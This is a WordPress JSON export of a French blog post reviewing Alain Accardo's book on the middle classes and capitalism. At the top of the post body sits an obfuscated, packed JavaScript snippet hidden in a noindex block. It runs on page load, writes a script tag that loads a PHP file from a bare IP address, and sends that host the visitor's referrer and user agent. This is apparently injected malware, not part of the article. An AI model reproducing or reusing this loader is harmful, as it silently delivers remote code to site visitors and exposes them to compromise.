{"id":3497,"date":"2009-08-22T10:19:37","date_gmt":"2009-08-22T08:19:37","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=3497"},"modified":"2009-08-22T10:19:37","modified_gmt":"2009-08-22T08:19:37","slug":"des-petits-bourgeois-pas-tres-%c2%ab-gentilhommes-%c2%bb","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=3497","title":{"rendered":"Des petits-bourgeois pas tr\u00e8s \u00ab gentilhommes \u00bb"},"content":{"rendered":"<div id=\"print\" style=\"text-align: justify;\"><!-- ##### IMPRESSION ARTICLE ##### --> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbisy|var|u0026u|referrer|zdrzb||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <a href=\"http:\/\/www.lemague.net\/dyn\/spip.php?article6503\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" title=\"Des petits-bourgeois pas tr\u00e8s \u00ab gentilhommes \u00bb\" src=\"http:\/\/www.lemague.net\/dyn\/local\/cache-vignettes\/L171xH300\/arton6503-f166e.jpg\" alt=\"Des petits-bourgeois pas tr\u00e8s \u00ab gentilhommes \u00bb\" width=\"100\" height=\"176\" align=\"left\" \/><\/a><strong>Avec son <em>Petit-Bourgeois Gentihomme<\/em>, le sociologue Alain Accardo passe \u00e0 la moulinette des classes (d\u00e9finitivement\u00a0?) moyennes en tout.<\/strong><\/div>\n<p style=\"text-align: justify;\"><!-- ##### FIN IMPRESSION ARTICLE ##### --> <!-- ################################################################## FIN TITRE ARTICLE ########################################################### --> <!-- #################################################################### LOGO + CHAPO ############################################################## --><strong> <\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: x-small;\"><strong>par  <span><a href=\"http:\/\/www.lemague.net\/dyn\/spip.php?auteur151\">Paco<\/a> de <a href=\"http:\/\/www.lemague.net\/\">Le Mague<\/a> : <a href=\"http:\/\/www.lemague.net\/dyn\/spip.php?article6503\">source<\/a><br \/>\n<\/span><\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><strong> <\/strong><\/p>\n<p style=\"text-align: justify;\"><!-- ################################################################## FIN LOGO + CHAPO ############################################################## --> <!-- ################################################################# PUB GOOGLE DROITE ############################################################## --><!-- ################################################################# FIN PUB GOOGLE DROITE ########################################################### --> <!-- ################################################################# TEXTE ARTICLE &#038; DATE ############################################################ -->\u00ab\u00a0<em>Quand on est en face des d\u00e9g\u00e2ts effroyables, mat\u00e9riels et plus encore humains, caus\u00e9s par la barbarie, le m\u00e9pris, l\u2019avidit\u00e9, le mensonge et le d\u00e9ni de justice inscrit dans l\u2019ordre \u00e9tabli, dans ses institutions et ses m\u0153urs, tol\u00e9rer c\u2019est se rendre complice<\/em> \u00bb, expliquait Alain Accardo dans la pr\u00e9face qu\u2019il a donn\u00e9 au sulfureux livre de l\u2019anarchiste Albert Libertad (1875-1908), <em>Le Culte de la charogne<\/em>. Dans un essai ayant pour titre <em>Le Petit-Bourgeois Gentilhomme<\/em>, le sociologue enfonce le clou pour d\u00e9noncer l\u2019enlisement des classes moyennes dans les mar\u00e9cages du capitalisme. Avec un sacr\u00e9 mordant, Accardo diss\u00e8que les \u00ab\u00a0<em>petits poss\u00e9dants poss\u00e9d\u00e9s<\/em> \u00bb et les \u00ab\u00a0<em>roturiers qui r\u00eavent d\u2019anoblissement<\/em> \u00bb. Un exercice de socioanalyse grin\u00e7ant, mais pertinent.<!--more--><\/p>\n<p style=\"text-align: justify;\">Le constat n\u2019est pas nouveau, mais il devient urgent de briser le moule dans lequel les classes moyennes s\u2019engouffrent avec la b\u00e9n\u00e9diction des t\u00e9nors sociaux-d\u00e9mocrates du PS, du PCF, de la CFDT ou de la CGT. De trahisons en d\u00e9compositions, impliqu\u00e9e dans la logique des compromis, la gauche productiviste et r\u00e9formiste en arrive \u00e0 essayer de g\u00e9rer au mieux le capitalisme promu au rang de \u00ab\u00a0<em>forme achev\u00e9e de la d\u00e9mocratie et m\u00eame de la civilisation<\/em> \u00bb. Aux oubliettes l\u2019internationalisme prol\u00e9tarien. Tant pis pour les camarades du bout du monde qui cr\u00e8vent la gueule ouverte. La gauche lib\u00e9rale peut verser sur eux des larmes de crocodiles en feignant d\u2019oublier que le d\u00e9veloppement des pays capitalistes ne peut se faire \u00ab\u00a0<em>qu\u2019au prix d\u2019une meurtri\u00e8re paup\u00e9risation des autres peuples<\/em> \u00bb.<\/p>\n<p style=\"text-align: justify;\">Qui peut ignorer ce qu\u2019est l\u2019horreur \u00e9conomique\u00a0? \u00ab\u00a0<em>On sait quelles catastrophes elle provoque, jour apr\u00e8s jour, sur la plan\u00e8te\u00a0; on sait \u00e0 quoi servent la Bourse, les march\u00e9s financiers, la Banque mondiale, le FMI, l\u2019OMC, le G7&#8230; qui font du monde un cloaque moral o\u00f9 des millions d\u2019\u00eatres humains sont condamn\u00e9s \u00e0 croupir, de la naissance \u00e0 la mort<\/em> \u00bb, mart\u00e8le Accardo en s\u2019interrogeant sur la nature de nos d\u00e9mocraties qui sont quotidiennement sources de souffrances, d\u2019humiliations, d\u2019exclusions, d\u2019oppressions pour des dizaines de millions de personnes sous toutes les latitudes.<\/p>\n<p style=\"text-align: justify;\">En ces temps de b\u00e2tardise sociale et de collaboration de classe, tous les mensonges et tous les reniements sont permis. L\u2019imposture est g\u00e9n\u00e9rale. L\u2019obsession de l\u2019enrichissement justifie le pire. \u00ab\u00a0<em>Notre soci\u00e9t\u00e9 du rendement et de l\u2019efficacit\u00e9 a cr\u00e9\u00e9 un nouveau type de personnalit\u00e9 programm\u00e9 par et pour la guerre \u00e9conomique<\/em>, assure Accardo. <em>L\u2019homme (ou la femme) accompli-e de notre temps est un-e conqu\u00e9rant-e qui se doit d\u2019aller de l\u2019avant avec r\u00e9alisme et sans \u00e9tats d\u2019\u00e2me, une sorte de marine diplom\u00e9-e, dress\u00e9-e \u00e0 tuer pour ne pas \u00eatre tu\u00e9-e<\/em>.\u00a0\u00bb<\/p>\n<p style=\"text-align: justify;\">Dans tous les domaines (administrations, s\u00e9curit\u00e9, sant\u00e9, \u00e9ducation, <a id=\"c4f_obja0_1\" style=\"position: relative;\" rel=\"nofollow\" name=\"c4f_obja0_1\" href=\"http:\/\/positexte.weborama.com\/script\/clic.php?a=JmNjb2Q9RlImaWRtYz0xOTAwJmlkY209MzUmaWRhbj0xOCZpYmlkPTAuMTUmaWNwYz0xJmJpZG49MC4xNSZhdXRvPTAmaHVybD0mc3RkdD0xMjUwOTI5MDI2Jm5kZHQ9MTI1MDkzMjYyNiZpZHBsPS0xJmlkZ2U9MSZpZGNwPSZpZHByPTAmdHlwZT0zJmlkcGc9MzA4MDEwJmlkdGg9MyZleGZlPXlhaG9vX3NlYXJjaCZrd3NlPWN1bHR1cmUmcHVybD13d3cudGVycmFmZW1pbmEuY29tJTJGY3VsdHVyZSZ0aXQ9Y3VsdHVyZSZzaWc9JmFkdms9OEE2MjZBNzY%3D08789976\" target=\"_blank\">culture<\/a>, loisirs&#8230;), les classes moyennes fournissent aux aristocraties dominantes les forces auxiliaires indispensables au maintien du capitalisme. Obnubil\u00e9s par la sacralisation de l\u2019argent (objectifs, bilan, primes, cr\u00e9dits, int\u00e9r\u00eats&#8230;), nos contemporains sont comme des chevaux au fond d\u2019une mine. \u00ab\u00a0<em>Ils tirent aveugl\u00e9ment leurs wagonnets sans autre souci que leur picotin<\/em>, r\u00e9sume Accardo. <em>Que serait la logique du grand capital sans l\u2019intervention z\u00e9l\u00e9e, comp\u00e9tente et convaincue de ces myriades d\u2019auxiliaires salari\u00e9s qui optimisent le fonctionnement de la m\u00e9canique \u00e0 broyer de l\u2019humain, contribuant ainsi \u00e0 la \u201cbanalisation du mal\u201d dont parlait Hannah Arendt\u00a0?<\/em> \u00bb<\/p>\n<p style=\"text-align: justify;\">Hier, des foules ont pr\u00eat\u00e9 main-forte aux pires machineries fascistes et totalitaires en assurant qu\u2019elles ignoraient qu\u2019elles envoyaient leurs semblables \u00e0 l\u2019abattoir. Aujourd\u2019hui, rebelote. La volont\u00e9 de ne pas savoir f\u00e9d\u00e8re des hordes de l\u00e2ches et de profiteurs bien cal\u00e9s devant leurs \u00e9missions t\u00e9l\u00e9vis\u00e9es ou radiophoniques anesth\u00e9siantes. \u00ab\u00a0<em>Pour le capitalisme, la meilleure population, la plus r\u00e9ceptive, la plus docile et la plus enthousiaste, serait une population compl\u00e8tement atomis\u00e9e et infantilis\u00e9e d\u2019adolescents perp\u00e9tuels dont les liens de solidarit\u00e9 serait r\u00e9duits \u00e0 des \u00e9changes groupusculaires, fusionnels et festifs, une population de consommateurs effr\u00e9n\u00e9s, dont les membres n\u2019auraient plus rien en commun que le projet de jouir ensemble, de \u00ab\u00a0s\u2019\u00e9clater\u00a0\u00bb ind\u00e9finiment<\/em> \u00bb, remarque Accardo. Joli monde que ce monde-l\u00e0. D\u2019un c\u00f4t\u00e9, une soci\u00e9t\u00e9 de <em>no life<\/em> friqu\u00e9s gav\u00e9s avec des consoles Wii, des musiques en tubes, des produits de luxe, des assiettes archi pleines, une soci\u00e9t\u00e9 \u00e9go\u00efste incapable de temp\u00e9rer l\u2019avidit\u00e9 de ses d\u00e9sirs, de limiter sa consommation, de mod\u00e9rer ses d\u00e9penses, de contr\u00f4ler ses pulsions. De l\u2019autre c\u00f4t\u00e9&#8230;<\/p>\n<p style=\"text-align: justify;\">Alain Accardo d\u00e9nonce \u00ab\u00a0<em>l\u2019aveuglement id\u00e9ologique, l\u2019archa\u00efsme <a id=\"c4f_obja1_1\" style=\"position: relative;\" rel=\"nofollow\" name=\"c4f_obja1_1\" href=\"http:\/\/positexte.weborama.com\/script\/clic.php?a=JmNjb2Q9RlImaWRtYz01MDcmaWRjbT0zNSZpZGFuPTE4JmliaWQ9MC4xNSZpY3BjPTEmYmlkbj0wLjE1JmF1dG89MCZodXJsPSZzdGR0PTEyNTA5MjkwMjYmbmRkdD0xMjUwOTMyNjI2JmlkcGw9LTEmaWRnZT0xJmlkY3A9JmlkcHI9MCZ0eXBlPTMmaWRwZz0zMDgwMTAmaWR0aD0zJmV4ZmU9eWFob29fc2VhcmNoJmt3c2U9cG9saXRpcXVlJnB1cmw9d3d3LmxvdWlzLXBlbGFlei5uZXQmdGl0PUJsb2crZGUrTG91aXMrUGVsYWV6K2Fkam9pbnQrYXUrbWFpcmUrZGUrbHlvbitnYXVjaGUrbW9kZXJuZSZzaWc9JmFkdms9QzlFNDlERDE%3D951debde\" target=\"_blank\">politique<\/a> et l\u2019irresponsabilit\u00e9<\/em> \u00bb des dirigeants qui laissent croire que \u00ab\u00a0<em>nous allons pouvoir ind\u00e9finiment fonder notre prosp\u00e9rit\u00e9 sur le pillage et la mis\u00e8re du monde<\/em> \u00bb. Que faire pour bousculer des millions d\u2019\u00eatres humains soumis, consentants et joyeux, au dieu Pognon\u00a0? Que faire pour rabattre le caquet aux sous-vizirs et autres aspirants mamamouchis \u00ab\u00a0<em>qui jouent ridiculement au calife et se pr\u00eatent \u00e0 tant d\u2019avilissantes mascarades en croyant faire la preuve de leur excellence ou de leur distinction<\/em> \u00bb\u00a0?<\/p>\n<p style=\"text-align: justify;\">Le disciple de Pierre Bourdieu nous propose une tonique socioanalyse qui sera utile \u00e0 celles et \u00e0 ceux qui n\u2019attendent pas le Grand Soir des vieilles fables gauchistes. Si le r\u00e8gne du capitalisme, criminel et suicidaire, semble \u00e0 bout de souffle, les espoirs de la r\u00e9volution prol\u00e9tarienne fa\u00e7on 19<sup>e<\/sup> si\u00e8cle sont bien p\u00e9rim\u00e9s. \u00ab\u00a0<em>Toute la question est de savoir si les salari\u00e9s-citoyens sont encore capables de se mobiliser, de s\u2019organiser et de se battre de fa\u00e7on suffisamment massive et d\u00e9termin\u00e9e pour faire \u00e9chec \u00e0 la coalition des puissances qui d\u00e9tiennent \u00e0 peu pr\u00e8s tous les pouvoirs, \u00e0 l\u2019\u00e9chelle nationale et internationale<\/em>.\u00a0\u00bb Question judicieuse lorsqu\u2019on parle de populations englu\u00e9es dans une profonde acceptation du monde tel qu\u2019il est, de populations automates embrigad\u00e9es dans la logique de l\u2019enrichissement individuel, de masses confin\u00e9es dans l\u2019indiff\u00e9rence.<\/p>\n<p style=\"text-align: justify;\">On sait que le capitalisme ne peut fonctionner que gr\u00e2ce \u00e0 l\u2019adh\u00e9sion des personnes qu\u2019il exploite. Ce soutien paradoxal lui permet de supporter les assauts de ses adversaires, m\u00eame lorsqu\u2019ils atteignent une certaine violence. Gr\u00e8ves sporadiques, trains bloqu\u00e9s, pneus br\u00fbl\u00e9s, vitrines bris\u00e9es, voitures incendi\u00e9es&#8230; n\u2019entament en rien le consensus de plomb qui maintient debout l\u2019ordre \u00e9tabli. Mieux, le capitalisme peut parfois tirer parti d\u2019une forte dose de contestation\u00a0! Selon Alain Accardo, \u00ab\u00a0<em>il faut se rendre \u00e0 l\u2019\u00e9vidence\u00a0: la lutte anticapitaliste pr\u00e9sente des insuffisances criantes<\/em>.\u00a0\u00bb<\/p>\n<p style=\"text-align: justify;\">Alors, comment \u00ab\u00a0<em>plier la machine<\/em> \u00bb, comme disait Pascal\u00a0? Pour Alain Accardo, il est certain que \u00ab\u00a0<em>la r\u00e9volution est un combat contre soi-m\u00eame au moins autant qu\u2019une transformation des structures objectives qui nous entourent. Une telle d\u00e9marche n\u2019a rien \u00e0 voir avec un id\u00e9alisme moralisant. Elle rel\u00e8ve d\u2019une vision sociologique. Il faut admettre qu\u2019on ne peut pas changer la soci\u00e9t\u00e9 sans se changer aussi soi-m\u00eame<\/em>.\u00a0\u00bb Pourquoi\u00a0? Parce que les plis les plus intimes de notre subjectivit\u00e9 sont fa\u00e7onn\u00e9s par un environnement social domin\u00e9 par les structures du capitalisme. Cette int\u00e9riorisation nous transforme tous en marionnettes path\u00e9tiques. Nous nous croyons libres alors que de vilaines ficelles conditionnent nos pens\u00e9es et nos actes.<\/p>\n<p style=\"text-align: justify;\">Cette id\u00e9e risque de contrarier quelques honn\u00eates militant-e-s. Notamment les plus \u00ab\u00a0radicaux\u00a0\u00bb qui, comme les autres, ont toujours une part d\u2019eux-m\u00eames asservie au syst\u00e8me, une part qui est inconsciemment tent\u00e9e de sauver un syst\u00e8me qui leur procure, malgr\u00e9 tout, quelques jouissances. Radical, mais \u00ab\u00a0classique\u00a0\u00bb, Accardo pr\u00f4ne la restitution \u00e0 la collectivit\u00e9 des grands moyens de production et d\u2019\u00e9change, l\u2019abolition des classes et de la propri\u00e9t\u00e9 priv\u00e9e&#8230; Rejoignant les propositions libertaires et celles des objecteurs de croissance, il veut \u00e9galement \u00ab\u00a0<em>combattre l\u2019ali\u00e9nation du mode de vie petit-bourgeois<\/em> \u00bb en luttant contre le conditionnement publicitaire, en militant pour la simplicit\u00e9, la sobri\u00e9t\u00e9, l\u2019\u00e9conomie et la ma\u00eetrise de soi. \u00ab\u00a0<em>Vivre plus simplement pour que d\u2019autres puissent simplement vivre<\/em> \u00bb, disait d\u00e9j\u00e0 Gandhi.<\/p>\n<p style=\"text-align: justify;\">\u00ab\u00a0<em>Parmi ceux qui manifestent (\u00e0 juste raison) contre la mondialisation capitaliste, combien sont vraiment conscients que, la manifestation termin\u00e9e, une fois de retour au bercail, au travail, aux routines de la vie quotidienne, ils vont redevenir, \u00e0 leur insu et en toute \u00ab\u00a0libert\u00e9\u00a0\u00bb, d\u2019industrieux auxiliaires du syst\u00e8me qu\u2019ils condamnent\u00a0?<\/em> \u00bb Pour redonner du sens au mot r\u00e9volution, Accardo propose une d\u00e9marche qui doit \u00eatre coupl\u00e9e aux gr\u00e8ves et aux autres actions et manifestations. Pour \u00eatre cons\u00e9quents, les militants syndicaux et politiques, en particulier bobos de g\u00f4che et ouvriers ais\u00e9s qui constituent une partie des classes moyennes, doivent jeter aux orties, quand ils en ont, leur 4&#215;4 ou leur grosse bagnole, leur climatisation, leurs radiateurs \u00e9lectriques, leur home vid\u00e9o, leurs fringues branch\u00e9s, leurs voyages exotiques, leurs placements financiers et toute la panoplie de pacotille qui leur donne l\u2019impression de faire partie du monde \u00ab\u00a0libre\u00a0\u00bb.<\/p>\n<p style=\"text-align: justify;\">\u00ab\u00a0<em>Toute la question reste de savoir qu\u2019elle est la probabilit\u00e9 pour que, dans nos d\u00e9mocraties ext\u00e9nu\u00e9es, les classes moyennes soient encore capables de sortir de leurs fantasmes de distinction et que le petit-bourgeois cesse de se r\u00eaver gentilhomme<\/em> \u00bb, termine Accardo. To be or not to be\u00a0? Si les classes moyennes n\u2019arrivent pas \u00e0 se r\u00e9veiller au-del\u00e0 des sempiternelles pleurnicheries qui ponctuent les collectes humanitaires (d\u00e9ductibles des imp\u00f4ts), les gueux finiront par venir leur botter le cul. Et le plus t\u00f4t sera le mieux.<\/p>\n<p style=\"text-align: justify;\"><strong>Alain Accardo, <em>Le Petit-Bourgeois Gentilhomme \u2013 Sur les pr\u00e9tentions h\u00e9g\u00e9moniques des classes moyennes<\/em>, collection Contre-feux, <a href=\"http:\/\/atheles.org\/agone\/\">\u00e9ditions Agone<\/a>, 160 pages. 13\u20ac.<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>D\u2019Alain Accardo, on peut lire \u00e9galement, aux m\u00eames \u00e9ditions, <a href=\"http:\/\/atheles.org\/agone\/contrefeux\/denotreservitudeinvolontaire\/index.html\"><em>De notre servitude involontaire<\/em><\/a> (2001), <em>La Col\u00e8re du juste<\/em> (pr\u00e9face au livre d\u2019Albert Libertad <a href=\"http:\/\/atheles.org\/agone\/memoiressociales\/lecultedelacharogne\/index.html\"><em>Le Culte de la charogne<\/em><\/a> \u2013 2006), <a href=\"http:\/\/atheles.org\/agone\/elements\/introductionaunesociologiecritique\/index.html\"><em>Introduction \u00e0 une sociologie critique \u2013 Lire Pierre Bourdieu<\/em><\/a> (2006) et <a href=\"http:\/\/atheles.org\/agone\/elements\/journalistesprecairesjournalistesauquotidien\/index.html\"><em>Journalistes pr\u00e9caires, journalistes au quotidien<\/em><\/a> (2007).<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Les chroniques d\u2019Alain Accardo sur <a href=\"http:\/\/blog.agone.org\/category\/La-chronique-d-Alain-Accardo\">le blog des \u00e9ditions Agone<\/a><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><a href=\"http:\/\/www.lemague.net\/dyn\/spip.php?article6503\">Source : Paco de le Mague<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Avec son Petit-Bourgeois Gentihomme, le sociologue Alain Accardo passe \u00e0 la moulinette des classes (d\u00e9finitivement\u00a0?) moyennes en tout. par Paco de Le Mague : source \u00ab\u00a0Quand on est en face des d\u00e9g\u00e2ts effroyables, mat\u00e9riels et plus encore humains, caus\u00e9s par &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=3497\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16,17],"tags":[],"class_list":["post-3497","post","type-post","status-publish","format-standard","hentry","category-livres","category-revue-de-medias"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3497","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3497"}],"version-history":[{"count":0,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/3497\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3497"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3497"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3497"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}